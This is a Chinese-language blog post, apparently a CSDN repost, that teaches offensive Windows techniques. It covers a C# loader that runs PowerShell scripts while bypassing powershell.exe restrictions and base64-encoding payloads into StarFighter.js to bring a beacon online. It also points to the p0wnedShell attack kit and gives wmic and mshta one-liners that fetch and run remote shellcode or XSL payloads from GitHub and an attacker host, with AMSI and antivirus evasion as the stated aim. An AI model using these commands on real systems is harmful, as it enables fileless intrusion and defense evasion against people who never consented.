不用powershell执行powershell脚本与xsl文件不落地上线

前言

前几天在学习windows命名管道的时候偶然看到一篇文章:
we don’t neet powershell.exe
作者提供了一种特殊的运行powershell脚本的方式,这种方式既有趣又实用,是通过c#来实现的,因此这也坚定了我学习c#的步伐。

powershell的本质

在这里插入图片描述

我们都知道powershell是一个exe程序,它可以执行自己的命令或者powershell脚本。其实powershell的本质就是解释器,类似于python。python解释器通过解释了python脚本来调用操作系统给予的各种底层函数。

assembly我的理解是类似于python中的库

powershell通过解释powershell脚本,来调用System.Management.Automation.dll,System.Management.Automation是.NET 框架下的一个assembly。说白了就是我们写一个powershell脚本,通过powershell这个程序,我们可以调用System.Management.Automation.dll里面的函数,就跟我们写个python脚本,用 python3 demo.py一样,原理是类似的。
而c#语言可以将所谓的c#“脚本”解释后来调用.NET框架下所有的assembly。因此我们可以用c#实现powershell的功能。这在当powershell被某些策略禁用的时候十分好用。

小试牛刀

我们先写一个程序,让其可以单方面解释一段powershell脚本。

代码:

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
    
    
 class PSLess
 {
    
    
   static void Main(string[] args)
   {
    
    
     if(args.Length ==0)
         Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。
     string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。
     string s=RunScript(script);//执行script脚本并将返回值赋给s。
     Console.WriteLine(s);//输出命令结果s。
   }
 private static string LoadScript(string filename) 
 {
    
     
   string buffer ="";
   try {
    
    
    buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。
    }
   catch (Exception e) //catch块做异常处理
   {
    
     
     Console.WriteLine(e.Message);
     Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。
    }
  return buffer;//将buffer的值作为此函数的返回值。
 }
 private static string RunScript(string script) 
 {
    
     
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本
    MyRunspace.Open();//执行powershell脚本前必须执行此函数
    Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类
    MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令
    MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。
    Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回
    MyRunspace.Close();//关闭runspace
   StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串
   foreach (PSObject pobject in outputs) //遍历outputs
   {
    
     
       sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。
   }
    return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。 
  }
 }
}

文件生成命令:

csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:C:\Users\Administrator\Desktop\powerless.exe C:\Users\Administrator\Desktop\1.cs

实际效果:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

参考文章:我们不需要powershell

扫描二维码关注公众号,回复: 11835684 查看本文章

利用starfighter

可以利用starfighter这个js脚本,修改里面的一个名为encodepayload参数。具体操作如下:

打开计算器

假设我们想打开一个计算器,powershell命令为start calc.exe,可以在网上直接在线base64编码这条命令,或者用powershell脚本进行base64编码。
1.创建一个powershell脚本文件,内容如下:

$code = 'start calc.exe'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded 

在这里插入图片描述

执行后生成一段base64编码:
cwB0AGEAcgB0ACAAYwBhAGwAYwAuAGUAeABlAA==
将此base64密文加入到starfighter.js这个脚本中,修改encodepayload字段为上面的到的base64密文:
在这里插入图片描述
然后执行命令 cscript StarFighter.js即可弹出计算器。

深层利用

同理,输入一段可以用来上线的powershell代码,利用跟前面同样的操作即可用js脚本上线:
在这里插入图片描述
在这里插入图片描述
切记复制base64密文的时候不能复制换行符。

不过可惜的是有很多杀毒软件都会查杀:
在这里插入图片描述

p0wnedshell

下载地址:https://github.com/Cn33liz/p0wnedShell
可以实现powershell的全部功能,还能执行mimkatz与powerview等命令,是一个十分不错的攻击套件,只是会被查杀。
在这里插入图片描述

免杀

利用wmic远程文件不落地执行shellcode

在这里插入图片描述

wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"

这里有一个插件已经集成好了功能:amsi_bypass

实际效果

在这里插入图片描述
mshta http://192.168.124.138:8080/a.png

在这里插入图片描述
wmic os get /format:"http://192.168.124.138:8080/a.xsl"

参考文章DotNetToJScript 复活之路

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/108529739